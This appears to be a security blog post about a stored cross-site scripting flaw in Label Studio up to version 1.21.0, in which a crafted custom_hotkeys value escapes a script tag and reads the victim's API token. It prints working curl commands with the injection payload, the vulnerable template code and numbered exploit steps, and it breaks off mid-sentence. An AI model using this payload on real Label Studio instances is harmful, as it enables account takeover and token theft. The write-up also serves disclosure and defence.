Listen to this Post
How the CVE Works
The vulnerability is a persistent stored Cross-Site Scripting (XSS) within the `custom_hotkeys` feature. An authenticated attacker can inject malicious JavaScript by sending a crafted PATCH request to the `/api/users/{id}/` endpoint. The payload is stored in the user’s `custom_hotkeys` JSON field. The application’s template `templates/base.html` renders this user-controlled data unsafely. It uses a custom filter `json_dumps_ensure_ascii` paired with the `|safe` filter, which does not escape dangerous HTML sequences like </script>. This allows the attacker to break out of the existing script tag and inject new ones. When any other user loads a page that uses this base template, the malicious script executes automatically in their browser context. The exploit chain is critical because the application also exposes a `/api/current-user/token` endpoint with relaxed CSRF protections. The injected script can call this endpoint, steal the victim’s API token, and send it to an attacker-controlled server, leading to full account takeover.
Platform: Label Studio
Version: <= 1.21.0
Vulnerability : Stored XSS
Severity: Critical
date: 2026-01-13
Prediction: 2026-02-10
What Undercode Say
Bash Commands and Codes
Identify user ID curl -H "Cookie: sessionid=..." http://0.0.0.0:8080/api/current-user/whoami
Send malicious PATCH request
curl -X PATCH http://0.0.0.0:8080/api/users/25 \
-H 'Content-Type: application/json' \
--data-binary '{"custom_hotkeys": {"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/xx":{"key":"x","active":true}}}'
<!-- Vulnerable template code (templates/base.html) -->
<script>
var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};
</script>
Insecure serialization (users/api.py) user.custom_hotkeys = serializer.validated_data['custom_hotkeys'] user.save(update_fields=['custom_hotkeys'])
How Exploit
1. Attacker logs into the application.
2. Attacker identifies their user ID via `/api/current-user/whoami`.
- Attacker sends a PATCH request to `/api/users/{id}` with a malicious JSON payload in the `custom_hotkeys` field.
- The payload contains a break-out sequence `
